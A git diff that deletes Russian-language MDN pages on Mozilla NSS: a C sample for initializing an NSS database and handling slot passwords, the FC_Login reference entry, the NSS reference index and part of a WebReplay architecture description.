-title: NSS Sample Code Sample_2_Initialization of NSS
-slug: >-
- Mozilla/Projects/NSS/NSS_Sample_Code/NSS_Sample_Code_Sample_2_Initialization_of_NSS
-tags:
- - Example
- - Mozilla firefox nss init
- - NSS
- - Security
- - Инициализация NSS
- - Пример
-translation_of: >-
- Mozilla/Projects/NSS/NSS_Sample_Code/NSS_Sample_Code_Sample_2_Initialization_of_NSS
----
-<h2 id="NSS_Sample_Code_2_Initializing_NSS">NSS Sample Code 2: Initializing NSS</h2>
-
-<p>Эта программа демонстрирует как инициализировать NSS Database. Так же эта программа иллюстрирует обработку пароля.</p>
-
-<h3 id="Пример_NSS_инициализации_и_обработки_пароля">Пример NSS инициализации и обработки пароля</h3>
-
-<pre>/* NSPR Заголовки*/
-#include &lt;prthread.h&gt;
-#include &lt;plgetopt.h&gt;
-#include &lt;prprf.h&gt;
-
-/* NSS Заголовки */
-#include &lt;nss.h&gt;
-#include &lt;pk11func.h&gt;
-
-#include "util.h"
-
-// для того, чтобы русские буквы отображались корректно используйте setlocale(LC_ALL,"RUS") в main() :)
-
-/* Вывести сообщение о том, какая база данных используется и выйти */
-static void Usage(const char *progName)
-{
- fprintf(stderr, "\nИспользуется: %s -d &lt;dbdirpath&gt; [-p &lt;plainpasswc&gt;]"
- " [-f &lt;passwdffile&gt;]\n\n",
- progName);
- fprintf(stderr, "%-15s Укажите путь к каталогу базы данных\n\n",
- "-d &lt;dbdirpath&gt;");
- fprintf(stderr, "%-15s Укажите незашифрованный пароль\n\n",
- "-p &lt;plainpasswc&gt;");
- fprintf(stderr, "%-15s Укажите файл с паролями\n\n",
- "-f &lt;plainpasswc&gt;");
- exit(-1);
-}
-
-/* Инициализация пароля слота*/
-char *InitSlotPassword(PK11SlotInfo *slot, PRBool retry, void *arg)
-{
- FILE *input;
- FILE *output;
- char *p0 = NULL;
- char *p1 = NULL;
- secuPWData *pwdata = (secuPWData *) arg;
-
- if (pwdata-&gt;source == PW_FROMFILE) {
- return FilePasswd(slot, retry, pwdata-&gt;data);
- }
- if (pwdata-&gt;source == PW_PLAINTEXT) {
- return PL_strdup(pwdata-&gt;data);
- }
-
- /* Открыть терминал (linux)*/
- input = fopen("/dev/tty", "r");
- if (input == NULL) {
- PR_fprintf(PR_STDERR, "Ошибка открытия терминала для чтения\n");
- return NULL;
- }
-
- /* У нас нет паролей, давайте инициализируем базу данных*/
- PR_fprintf(PR_STDERR,
- "Введите пароль который будет закодирован вашим ключом.\n"
- "Пароль должен быть длиннее восьми символов ,\n"
- "И содержать хотя бы одну букву из алфавита.\n\n");
-
- output = fopen("/dev/tty", "w");
- if (output == NULL) {
- PR_fprintf(PR_STDERR, "Ошибка открытия консоли для записи\n");
- return NULL;
- }
-
- for (;;) {
- if (p0)
- PORT_Free(p0);
- p0 = GetPassword(input, output, "Введите новый пароль: ",
- CheckPassword);
- if (p1)
- PORT_Free(p1);
- p1 = GetPassword(input, output, "Введите пароль повторно: ",
- CheckPassword);
- if (p0 &amp;&amp; p1 &amp;&amp; !PORT_Strcmp(p0, p1)) {
- break;
- }
- PR_fprintf(PR_STDERR, "Пароли не совпадают. Попробуйте ещё раз.\n");
- }
-
- /* Убрать дубликат пароля из строки*/
- if (p1) {
- PORT_Memset(p1, 0, PORT_Strlen(p1));
- PORT_Free(p1);
- }
- fclose(input);
- fclose(output);
-
- return p0;
-}
-
-/* Смена пароля */
-SECStatus ChangePW(PK11SlotInfo *slot, char *oldPass, char *newPass,
- char *oldPwFile, char *newPwFile)
-{
- SECStatus rv;
- secuPWData pwdata;
- secuPWData newpwdata;
- char *oldpw = NULL;
- char *newpw = NULL;
-
- if (oldPass) {
- pwdata.source = PW_PLAINTEXT;
- pwdata.data = oldPass;
- } else if (oldPwFile) {
- pwdata.source = PW_FROMFILE;
- pwdata.data = oldPwFile;
- } else {
- pwdata.source = PW_NONE;
- pwdata.data = NULL;
- }
-
- if (newPass) {
- newpwdata.source = PW_PLAINTEXT;
- newpwdata.data = newPass;
- } else if (newPwFile) {
- newpwdata.source = PW_FROMFILE;
- newpwdata.data = NULL;
- } else {
- newpwdata.source = PW_NONE;
- newpwdata.data = NULL;
- }
-
- if (PK11_NeedUserInit(slot)) {
- newpw = InitSlotPassword(slot, PR_FALSE, &amp;pwdata);
- rv = PK11_InitPin(slot, (char*)NULL, newpw);
- }
- else {
- for (;;) {
- oldpw = GetModulePassword(slot, PR_FALSE, &amp;pwdata);
-
- if (PK11_CheckUserPassword(slot, oldpw) != SECSuccess) {
- if (pwdata.source == PW_NONE) {
- PR_fprintf(PR_STDERR, "Invalid password. Try again.\n");
- } else {
- PR_fprintf(PR_STDERR, "Invalid password.\n");
- PORT_Memset(oldpw, 0, PL_strlen(oldpw));
- PORT_Free(oldpw);
- return SECFailure;
- }
- } else {
- break;
- }
- PORT_Free(oldpw);
- }
- newpw = InitSlotPassword(slot, PR_FALSE, &amp;newpwdata);
-
- if (PK11_ChangePW(slot, oldpw, newpw) != SECSuccess) {
- PR_fprintf(PR_STDERR, "Не получилось изменить пароль.\n");
- return SECFailure;
- }
- PORT_Memset(oldpw, 0, PL_strlen(oldpw));
- PORT_Free(oldpw);
- PR_fprintf(PR_STDOUT, "Пароль изменён успешно!.\n");
- }
- PORT_Memset(newpw, 0, PL_strlen(newpw));
- PORT_Free(newpw);
- return SECSuccess;
-}
-
-/*
- * Этот пример показывает как инициализировать nss базу данных.
- * Он создаёт новую nss конфигурационную директорию с пустой базой данных
- * и инициализирует базы данных. Так же он показывает методы
- * для обработки пароля.
- */
-int main(int argc, char **argv)
-{
- PLOptState *optstate;
- PLOptStatus status;
- SECStatus rv;
- SECStatus rvShutdown;
- char *slotname = "internal";
- PK11SlotInfo *slot = NULL;
- char *dbdir = NULL;
- char *plainPass = NULL;
- char *pwFile = NULL;
-
- char * progName = strrchr(argv[0], '/');
- progName = progName ? progName + 1 : argv[0];
-
- /* Копирование аргументов командной строки */
- optstate = PL_CreateOptState(argc, argv, "d:p:q:f:g:");
- while ((status = PL_GetNextOpt(optstate)) == PL_OPT_OK) {
- switch (optstate-&gt;option) {
- case 'd':
- dbdir = strdup(optstate-&gt;value);
- break;
- case 'p':
- plainPass = strdup(optstate-&gt;value);
- break;
- case 'f':
- pwFile = strdup(optstate-&gt;value);
- break;
- default:
- Usage(progName);
- break;
- }
- }
- PL_DestroyOptState(optstate);
-
- if (!dbdir)
- Usage(progName);
-
- PR_Init(PR_USER_THREAD, PR_PRIORITY_NORMAL, 0);
-
- /* Создать базу данных */
- rv = NSS_InitReadWrite(dbdir);
- if (rv != SECSuccess) {
- PR_fprintf(PR_STDERR, "NSS_Initialize Failed ( не получилось инициализировать nss )");
- PR_Cleanup();
- exit(rv);
- }
-
- if (PL_strcmp(slotname, "internal") == 0)
- slot = PK11_GetInternalKeySlot();
-
- /* Если создаётся новая база данных, инициализируем пароль.*/
- rv = ChangePW(slot, plainPass, 0, pwFile, 0);
- if (rv != SECSuccess) {
- PR_fprintf(PR_STDERR, "Не получилось сменить пароль\n");
- }
-
- if (slot) {
- PK11_FreeSlot(slot);
- }
- rvShutdown = NSS_Shutdown();
- if (rvShutdown != SECSuccess) {
- PR_fprintf(PR_STDERR, "Failed : NSS_Shutdown() ( ошибка : выключение nss )\n");
- rv = SECFailure;
- }
-
- PR_Cleanup();
-
- return rv;
-}
-&lt;/plainpasswc&gt;&lt;/plainpasswc&gt;&lt;/dbdirpath&gt;&lt;/passwdffile&gt;&lt;/plainpasswc&gt;&lt;/dbdirpath&gt;&lt;/pk11func.h&gt;&lt;/nss.h&gt;&lt;/prprf.h&gt;&lt;/plgetopt.h&gt;&lt;/prthread.h&gt;</pre>
diff --git a/files/ru/mozilla/projects/nss/reference/fc_login/index.html b/files/ru/mozilla/projects/nss/reference/fc_login/index.html
deleted file mode 100644
index 5842a77b23..0000000000
--- a/files/ru/mozilla/projects/nss/reference/fc_login/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: FC_Login
-slug: Mozilla/Projects/NSS/Reference/FC_Login
-translation_of: Mozilla/Projects/NSS/Reference/FC_Login
----
-<p>
-</p>
-<h3 id="Name" name="Name"> Name </h3>
-<p><code>FC_Login()</code> - log a user into a token.
-</p>
-<h3 id="Syntax" name="Syntax"> Syntax </h3>
-<pre class="eval"><a href="en/CK_RV">CK_RV</a> FC_Login(
- <a href="en/CK_SESSION_HANDLE">CK_SESSION_HANDLE</a> hSession,
- <a href="en/CK_USER_TYPE">CK_USER_TYPE</a> userType,
- <a href="en/CK_CHAR">CK_CHAR_PTR</a> pPin,
- <a href="en/CK_ULONG">CK_ULONG</a> ulPinLen
-);
-</pre>
-<h3 id="Parameters" name="Parameters"> Parameters </h3>
-<p><code>FC_Login()</code> takes four parameters:
-</p>
-<dl><dt><code>hSession</code>
-</dt><dd>{{ mediawiki.external('in') }} a session handle
-</dd><dt><code>userType</code>
-</dt><dd>{{ mediawiki.external('in') }} the user type (<code>CKU_SO</code> or <code>CKU_USER</code>)
-</dd><dt><code>pPin</code>
-</dt><dd>{{ mediawiki.external('in') }} a pointer that points to the user's PIN
-</dd><dt><code>ulPinLen</code>
-</dt><dd>{{ mediawiki.external('in') }} the length of the PIN
-</dd></dl>
-<h3 id="Description" name="Description"> Description </h3>
-<p><code>FC_Login()</code> logs a user into a token.
-</p><p>The Security Officer (<code>CKU_SO</code>) only logs in to initialize the normal user's PIN. The SO PIN is the empty string. The NSS cryptographic module doesn't allow the SO to log in if the normal user's PIN is already initialized.
-</p>
-<h3 id="Return_value" name="Return_value"> Return value </h3>
-<p><code>FC_Login()</code> returns the following return codes.
-</p>
-<ul><li> <code>CKR_OK</code>: the user logged in successfully.
-</li><li> <code>CKR_DEVICE_ERROR</code>: the token is in the Error state.
-</li><li> <code>CKR_HOST_MEMORY</code>: memory allocation failed.
-</li><li> <code>CKR_PIN_INCORRECT</code>: the PIN is incorrect.
-</li><li> <code>CKR_PIN_LEN_RANGE</code>: the PIN is too long (<code>ulPinLen</code> is greater than 255).<div class="note">The function should return <code>CKR_PIN_INCORRECT</code> in this case.</div>
-</li><li> <code>CKR_SESSION_HANDLE_INVALID</code>: the session handle is invalid.
-</li><li> <code>CKR_USER_ALREADY_LOGGED_IN</code>: the user is already logged in.
-</li><li> <code>CKR_USER_TYPE_INVALID</code>
-<ul><li> The token can't authenticate the user because there is no key database or the user's password isn't initialized.
-</li><li> <code>userType</code> is <code>CKU_SO</code> and the normal user's PIN is already initialized.
-</li></ul>
-</li></ul>
-<h3 id="See_also" name="See_also"> See also </h3>
-<ul><li> <a href="en/NSC_Login">NSC_Login</a>
-</li></ul>
-{{ languages( { "ja": "ja/FC_Login" } ) }}
diff --git a/files/ru/mozilla/projects/nss/reference/index.html b/files/ru/mozilla/projects/nss/reference/index.html
deleted file mode 100644
index fefd88af2a..0000000000
--- a/files/ru/mozilla/projects/nss/reference/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: NSS reference
-slug: Mozilla/Projects/NSS/Reference
-tags:
- - NSS
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Projects/NSS/Reference
----
-<p>  </p>
-<h3 id="Initial_Notes" name="Initial_Notes">Initial Notes</h3>
-<div class="note">
- <ul>
- <li>We are migrating the <a class="external" href="https://developer.mozilla.org/NSS/SSL_functions/OLD_SSL_Reference">SSL Reference</a> into the format described in the <a href="https://developer.mozilla.org/en-US/docs/Project:MDC_style_guide">MDN Style Guide</a>. If you are inclined to help with this migration, your help would be very much appreciated.</li>
- </ul>
- <ul>
- <li>The proposed chapters below are based on the chapters of the <a class="external" href="https://developer.mozilla.org/NSS/SSL_functions/OLD_SSL_Reference">SSL Reference</a> and the categories of functions in <a class="external" href="/en/docs/NSS_functions" title="en/docs/NSS_functions">NSS Public Functions</a>.</li>
- </ul>
- <ul>
- <li>Should a particular page require the use of an underscore, please see the documentation for the <a href="/Project:En/MDC_style_guide#Title_Override_Extension" title="Project:En/MDC_style_guide#Title_Override_Extension">Title Override Extension</a>.</li>
- </ul>
-</div>
-<p>  </p>
-<h3 id="Building_and_installing_NSS" name="Building_and_installing_NSS"><a href="/en/NSS_reference/Building_and_installing_NSS" title="en/NSS_reference/Building_and_installing_NSS">Building and installing NSS</a></h3>
-<h3 id="Overview_of_an_NSS_application" name="Overview_of_an_NSS_application">Overview of an NSS application</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/sslintro.html">"Overview of an SSL Application"</a> in the SSL Reference.</p>
-<h3 id="Getting_started_with_NSS" name="Getting_started_with_NSS">Getting started with NSS</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/gtstd.html">"Getting Started With SSL"</a> in the SSL Reference.</p>
-<h3 id="Data_types" name="Data_types">Data types</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/ssltyp.html">"Selected SSL Types and Structures"</a> in the SSL Reference.</p>
-<h3 id="NSS_initialization_and_shutdown">NSS initialization and shutdown</h3>
-<ul>
- <li>NSS_Init</li>
- <li>NSS_InitReadWrite</li>
- <li>NSS_NoDB_Init</li>
- <li><a href="/en/NSS_Initialize" title="en/NSS Initialize">NSS_Initialize</a></li>
- <li>NSS_Shutdown</li>
-</ul>
-<h3 id="Utility_functions" name="Utility_functions">Utility functions</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#Utility_functions">"Utility Functions"</a> in NSS Public Functions.</p>
-<h3 id="Certificate_functions" name="Certificate_functions">Certificate functions</h3>
-<p>Based on <a href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/sslcrt.html">Certificate Functions</a> in the SSL Reference and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#Certificate_functions">"Certificate Functions"</a> in NSS Public Functions.</p>
-<ul>
- <li><a href="/en/NSS_Certificate_Functions#Validating_Certificates" title="en/NSS_Certificate_Functions#Validating_Certificates">Validating Certificates</a>
- <ul>
- <li><a href="/en/NSS_Certificate_Functions#CERT_VerifyCertNow" title="en/NSS_Certificate_Functions#CERT_VerifyCertNow">CERT_VerifyCertNow</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_VerifyCert" title="en/NSS_Certificate_Functions#CERT_VerifyCert">CERT_VerifyCert</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_VerifyCertName" title="en/NSS_Certificate_Functions#CERT_VerifyCertName">CERT_VerifyCertName</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_CheckCertValidTimes" title="en/NSS_Certificate_Functions#CERT_CheckCertValidTimes">CERT_CheckCertValidTimes</a></li>
- <li><a href="/en/NSS_Certificate_Functions#NSS_CmpCertChainWCANames" title="en/NSS_Certificate_Functions#NSS_CmpCertChainWCANames">NSS_CmpCertChainWCANames</a></li>
- </ul>
- </li>
- <li><a href="/en/NSS_Certificate_Functions#Manipulating_Certificates" title="en/NSS_Certificate_Functions#Manipulating_Certificates">Manipulating Certificates</a>
- <ul>
- <li><a href="/en/NSS_Certificate_Functions#CERT_DupCertificate" title="en/NSS_Certificate_Functions#CERT_DupCertificate">CERT_DupCertificate</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_DestroyCertificate" title="en/NSS_Certificate_Functions#CERT_DestroyCertificate">CERT_DestroyCertificate</a></li>
- <li>SEC_DeletePermCertificate</li>
- <li>__CERT_ClosePermCertDB</li>
- </ul>
- </li>
- <li><a href="/en/NSS_Certificate_Functions#Getting_Certificate_Information" title="en/NSS_Certificate_Functions#Getting_Certificate_Information">Getting Certificate Information</a>
- <ul>
- <li><a href="/en/NSS_Certificate_Functions#CERT_FindCertByName" title="en/NSS_Certificate_Functions#CERT_FindCertByName">CERT_FindCertByName</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_GetCertNicknames" title="en/NSS_Certificate_Functions#CERT_GetCertNicknames">CERT_GetCertNicknames</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_FreeNicknames" title="en/NSS_Certificate_Functions#CERT_FreeNicknames">CERT_FreeNicknames</a></li>
- <li><a href="/en/NSS_Certificate_Functions#CERT_GetDefaultCertDB" title="en/NSS_Certificate_Functions#CERT_GetDefaultCertDB">CERT_GetDefaultCertDB</a></li>
- <li><a href="/en/NSS_Certificate_Functions#NSS_FindCertKEAType" title="en/NSS_Certificate_Functions#NSS_FindCertKEAType">NSS_FindCertKEAType</a></li>
- </ul>
- </li>
- <li><a href="/en/NSS_Certificate_Functions#Comparing_SecItem_Objects" title="en/NSS_Certificate_Functions#Comparing_SecItem_Objects">Comparing SecItem Objects</a>
- <ul>
- <li><a href="/en/NSS_Certificate_Functions#SECITEM_CompareItem" title="en/NSS_Certificate_Functions#SECITEM_CompareItem">SECITEM_CompareItem</a></li>
- </ul>
- </li>
-</ul>
-<h3 id="Key_functions" name="Key_functions">Key functions</h3>
-<p><a href="/en/NSS_Key_Functions" title="en/NSS_Key_Functions">Key Functions</a></p>
-<ul>
- <li><a href="/en/NSS_Key_Functions#SECKEY_GetDefaultKeyDB" title="en/NSS_Key_Functions#SECKEY_GetDefaultKeyDB">SECKEY_GetDefaultKeyDB</a></li>
- <li><a href="/en/NSS_Key_Functions#SECKEY_DestroyPrivateKey" title="en/NSS_Key_Functions#SECKEY_DestroyPrivateKey">SECKEY_DestroyPrivateKey</a></li>
-</ul>
-<h3 id="Digital_signatures" name="Digital_signatures">Digital signatures</h3>
-<p>This API consists of the routines used to perform signature generation and the routines used to perform signature verification.</p>
-<h3 id="Encryption.2Fdecryption" name="Encryption.2Fdecryption">Encryption/decryption</h3>
-<h3 id="Hashing" name="Hashing">Hashing</h3>
-<h3 id="Key_generation" name="Key_generation">Key generation</h3>
-<p>Generate keys, key pairs, and domain parameters.</p>
-<h3 id="Random_number_generation" name="Random_number_generation">Random number generation</h3>
-<p>This API consists of the two routines used for pseudorandom number generation -- PK11_GenerateRandomOnSlot and PK11_GenerateRandom -- and the two routines used for seeding pseudorandom number generation -- PK11_SeedRandom and PK11_RandomUpdate.</p>
-<h3 id="PKCS_.2311_functions" name="PKCS_.2311_functions">PKCS #11 functions</h3>
-<p>Based on <a href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/pkfnc.html">PKCS #11 Functions</a> in the SSL Reference and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#Cryptography_functions">"Crypto Functions"</a> in NSS Public Functions.</p>
-<ul>
- <li><a href="/en/NSS_PKCS11_Functions#SECMOD_LoadUserModule" title="en/NSS_PKCS11_Functions#SECMOD_LoadUserModule">SECMOD_LoadUserModule</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#SECMOD_UnloadUserModule" title="en/NSS_PKCS11_Functions#SECMOD_UnloadUserModule">SECMOD_UnloadUserModule</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#SECMOD_CloseUserDB" title="en/NSS_PKCS11_Functions#SECMOD_CloseUserDB">SECMOD_CloseUserDB</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#SECMOD_OpenUserDB" title="en/NSS_PKCS11_Functions#SECMOD_OpenUserDB">SECMOD_OpenUserDB</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_FindCertFromNickname" title="en/NSS_PKCS11_Functions#PK11_FindCertFromNickname">PK11_FindCertFromNickname</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_FindKeyByAnyCert" title="en/NSS_PKCS11_Functions#PK11_FindKeyByAnyCert">PK11_FindKeyByAnyCert</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_GetSlotName" title="en/NSS_PKCS11_Functions#PK11_GetSlotName">PK11_GetSlotName</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_GetTokenName" title="en/NSS_PKCS11_Functions#PK11_GetTokenName">PK11_GetTokenName</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_IsHW" title="en/NSS_PKCS11_Functions#PK11_IsHW">PK11_IsHW</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_IsPresent" title="en/NSS_PKCS11_Functions#PK11_IsPresent">PK11_IsPresent</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_IsReadOnly" title="en/NSS_PKCS11_Functions#PK11_IsReadOnly">PK11_IsReadOnly</a></li>
- <li><a href="/en/NSS_PKCS11_Functions#PK11_SetPasswordFunc" title="en/NSS_PKCS11_Functions#PK11_SetPasswordFunc">PK11_SetPasswordFunc</a></li>
-</ul>
-<h3 id="SSL_Functions" name="SSL_Functions">SSL Functions</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/sslfnc.html">"SSL Functions"</a> in the SSL Reference and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#SSL_functions">"SSL Functions"</a> and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#Deprecated_SSL_functions">"Deprecated SSL Functions"</a> in NSS Public Functions.</p>
-<ul>
- <li>SSL_ConfigServerSessionIDCache</li>
- <li>SSL_ClearSessionCache</li>
-</ul>
-<h3 id="S.2FMIME" name="S.2FMIME">S/MIME</h3>
-<p>Based on the <a class="external" href="http://www-archive.mozilla.org/projects/security/pki/nss/ref/smime/">S/MIME Reference</a> (which only has one written chapter) and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS_functions#S.2FMIME_functions">"S/MIME Functions"</a> in NSS Public Functions.</p>
-<h3 id="PKCS_.237_functions" name="PKCS_.237_functions">PKCS #7 functions</h3>
-<p>Based on <a class="external" href="http://www-archive.mozilla.org/projects/security/pki/nss/ref/nssfunctions.html#pkcs7">"Archived PKCS #7 Functions documentation."</a></p>
-<h3 id="PKCS_.235_functions" name="PKCS_.235_functions">PKCS #5 functions</h3>
-<p>Password-based encryption</p>
-<ul>
- <li>SEC_PKCS5GetIV</li>
- <li>SEC_PKCS5CreateAlgorithmID</li>
- <li>SEC_PKCS5GetCryptoAlgorithm</li>
- <li>SEC_PKCS5GetKeyLength</li>
- <li>SEC_PKCS5GetPBEAlgorithm</li>
- <li>SEC_PKCS5IsAlgorithmPBEAlg</li>
-</ul>
-<h3 id="PKCS_.2312_functions" name="PKCS_.2312_functions">PKCS #12 functions</h3>
-<p>Based on <a class="external" href="http://www-archive.mozilla.org/projects/security/pki/nss/ref/nssfunctions.html#pkcs12">"Archived PKCS #12 Functions documentation."</a> Used to exchange data such as private keys and certificates between two parties.</p>
-<ul>
- <li>SEC_PKCS12CreateExportContext</li>
- <li>SEC_PKCS12CreatePasswordPrivSafe</li>
- <li>SEC_PKCS12CreateUnencryptedSafe</li>
- <li>SEC_PKCS12AddCertAndKey</li>
- <li>SEC_PKCS12AddPasswordIntegrity</li>
- <li>SEC_PKCS12EnableCipher</li>
- <li>SEC_PKCS12Encode</li>
- <li>SEC_PKCS12DestroyExportContext</li>
- <li>SEC_PKCS12DecoderStart</li>
- <li>SEC_PKCS12DecoderImportBags</li>
- <li>SEC_PKCS12DecoderUpdate</li>
- <li>SEC_PKCS12DecoderFinish</li>
- <li>SEC_PKCS12DecoderValidateBags</li>
- <li>SEC_PKCS12DecoderVerify</li>
- <li>SEC_PKCS12DecoderGetCerts</li>
- <li>SEC_PKCS12DecoderSetTargetTokenCAs</li>
- <li>SEC_PKCS12DecoderIterateInit</li>
- <li>SEC_PKCS12DecoderIterateNext</li>
- <li>SEC_PKCS12IsEncryptionAllowed</li>
- <li>SEC_PKCS12SetPreferredCipher</li>
-</ul>
-<h3 id="NSPR_functions" name="NSPR_functions"><a href="/En/NSS_reference/NSPR_functions" title="en/NSS_reference/NSPR_functions">NSPR functions</a></h3>
-<p>A small number of NSPR functions are required for using the certificate verification and SSL functions in NSS.  These functions are listed in this section.</p>
-<h3 id="Error_codes" name="Error_codes">Error codes</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/SSL_functions/sslerr.html">"NSS and SSL Error Codes"</a> in the SSL Reference.</p>
-<h3 id="NSS_Environment_variables" name="NSS_Environment_variables"><a href="/en/NSS_reference/NSS_environment_variables" title="en/NSS_reference/NSS_environment_variables">NSS Environment variables</a></h3>
-<h3 id="NSS_cryptographic_module" name="NSS_cryptographic_module"><a href="/en/NSS_reference/NSS_cryptographic_module" title="en/NSS_reference/NSS_cryptographic_module">NSS cryptographic module</a></h3>
-<h3 id="NSS_Tech_Notes" name="NSS_Tech_Notes">NSS Tech Notes</h3>
-<p><a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/NSS_Tech_Notes">NSS Tech Notes</a> <a href="/en/NSS_Memory_allocation" title="en/NSS_Memory_allocation">NSS Memory allocation</a></p>
-<h3 id="Tools" name="Tools">Tools</h3>
-<p>Based on <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/Tools">NSS Tools</a> documentation.</p>
-<p>Based on <a class="extarnal" href="/en/NSS_reference/NSS_tools" title="en/NSS_reference/NSS_tools">NSS Tools Man Pages : work in progress</a></p>
-<p>{{ languages( { "ja": "ja/NSS_reference" } ) }}</p>
diff --git a/files/ru/mozilla/projects/webreplay/index.html b/files/ru/mozilla/projects/webreplay/index.html
deleted file mode 100644
index 62f0a521d3..0000000000
--- a/files/ru/mozilla/projects/webreplay/index.html
+++ /dev/null
@@ -1,217 +0,0 @@
----
-title: WebReplay
-slug: Mozilla/Projects/WebReplay
-translation_of: Mozilla/Projects/WebReplay
----
-<p>Web Replay --- это проект, позволяющий процессам содержимого Firefox записывать свое поведение, проигрывать его позже и перематывать до предыдущего состояния.  Проигрываемые процессы сохранаяют все то же поведение JS, структуру DOM, изменения графики и большую часть других процессов, возникающих во время записи.  Браузерный JS-дебагер может быть использован для инспектирования и контроля проигрывания. На данный момент поддерживается только для macOS.</p>
-
-<p>Web Replay сейчас находится только в ночной сборке. Он отключен по умолчанию, пока не будет стабилизирован, но может быть включен с помощью devtools.recordreplay.enabled опции. Функция доступна через Tools -&gt; Web Developer меню и с помощью нового интерфейса дебагера доступна при просмотре вкладки записи/проигрывания. Она все еще на стадии pre-alpha, но мы будем рады услышать ваш фидбек в #rr в Slackе или оставьте репорт об ошибке в Bugzilla для Core::WebReplay компоненты.</p>
-
-<p>Существующите и планируеные функции представлены <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/WebReplayRoadmap">тут</a>.</p>
-
-<h2 id="Архитектура">Архитектура</h2>
-
-<p>Проект состоит из нескольких основных частей:</p>
-
-<ol>
- <li>Инфраструктура записи/проигрывания записывает достаточно информации во время записи, чтобы процесс проигрывания мог быть запущен и воспроизведен с тем же наблюдаемым поведением.</li>
- <li>Интеграция с IPC позволяет процессу проигрывания коммуницировать с процессом chrome с помощью IPDL и разделенной памяти.</li>
- <li>Инфраструктура перемотки позволяет проигрывать процесс, чтобы восстановить предыдущее состояние, все еще поддерживая общение с процессом chrome.</li>
- <li>Интеграция с дебагером позволяет дебагеру JS считывать необходимую для него информацию от процесса проигрывания и контролировать выполнение обработки (продолжение/перемотка). Дебагеру не разрешено менять наблюдаемое состояние процесса проигрывания.</li>
-</ol>
-
-<h3 id="Recordreplay_infrastructure">Record/replay infrastructure</h3>
-
-<p>Broadly, reliable record/replay is achieved by controlling for non-determinism in the browser.  This non-determinism originates from two sources: intra-thread and inter-thread.  Intra-thread non-deterministic behaviors are non-deterministic even in the absence of actions by other threads, and inter-thread non-deterministic behaviors are those affected by interleaving execution with other threads, and which always behave the same given the same interleaving.</p>
-
-<p>Intra-thread non-determinism is recorded and later replayed for each thread.  These behaviors mainly originate from system calls (i/o and such).</p>
-
-<p>Inter-thread non-determinism is handled by first assuming the program is data race free: shared memory accesses which would otherwise race are either protected by locks or use APIs that perform atomic operations.  If we record and later replay the order in which threads acquire locks (and, by extension, release locks and use condvars) then accesses on lock-protected memory will occur in the same order.  Atomic variables can be handled by treating reads and writes as if they were wrapped by a lock acquire/release during recording.</p>
-
-<p>It is not enough, however, to just record all these non-deterministic sources and reproduce those behaviors exactly in the replaying process.  The IPC and debugger integration components may behave differently between recording and replaying, or between different replays.  Both of these involve inter-thread communication and calls to non-deterministic APIs, and the resulting non-determinism must be allowed within the replaying process.</p>
-
-<h4 id="Allowed_Non-determinism">Allowed Non-determinism</h4>
-
-<p>There is some slop in this design: The replaying process must be non-deterministic enough that the IPC and debugger components work, but not so non-deterministic that observable behaviors are affected.  We resolve this slop by minimizing the tolerated non-determinism: The replaying process must be just non-deterministic enough that the IPC and debugger components work.  In practice, non-deterministic replay is allowed in the following areas:</p>
-
-<ol>
- <li>Heap allocations can be performed by the IPC and debugger components and so can differ between recording and replay.</li>
- <li>JS compilations and some other internal state are affected by the debugger's presence and which hooks/breakpoints are active, and so can differ between recording and replay.</li>
- <li>The debugger can allocate GC things, and allocation of other GC things can differ in the debugger's presence. For example, script compilation involves GC thing allocation, and observing changes in an object will change its shape.</li>
-</ol>
-
-<p>Relaxing non-determinism here has a number of ripple effects in other areas.  Mainly, pointer values may differ between recording and replay, and the points where GCs occur, and the set of objects collected, may differ.  This non-determinism is prevented from spreading too far with the following techniques:</p>
-
-<ol>
- <li>Different pointer values can affect the internal layout of hash tables.  To prevent this from having an effect on iteration order (and execution behavior) in the table, the main table classes (for now PLHashTable and PLDHashTable) are instrumented so that they always iterate over elements in the order they were added when recording or replaying.</li>
- <li>Differing GC behavior can cause object finalizers to run at different times.  To prevent this from having an effect on execution behavior, GC finalizers which can affect the recording are instrumented so that the finalizer action is performed at the same time in the replay as it was during the recording.  Even if the associated JS object has not been destroyed yet during the replay, it will never be used again because at this point in the recording it has been finalized.</li>
- <li>Similarly, GC behavior can cause values read from weak pointers to differ between recording and replay.  If this difference can affect the recording, the weak pointer must be instrumented so that during replay it holds onto its target for the same duration it was held while recording.</li>
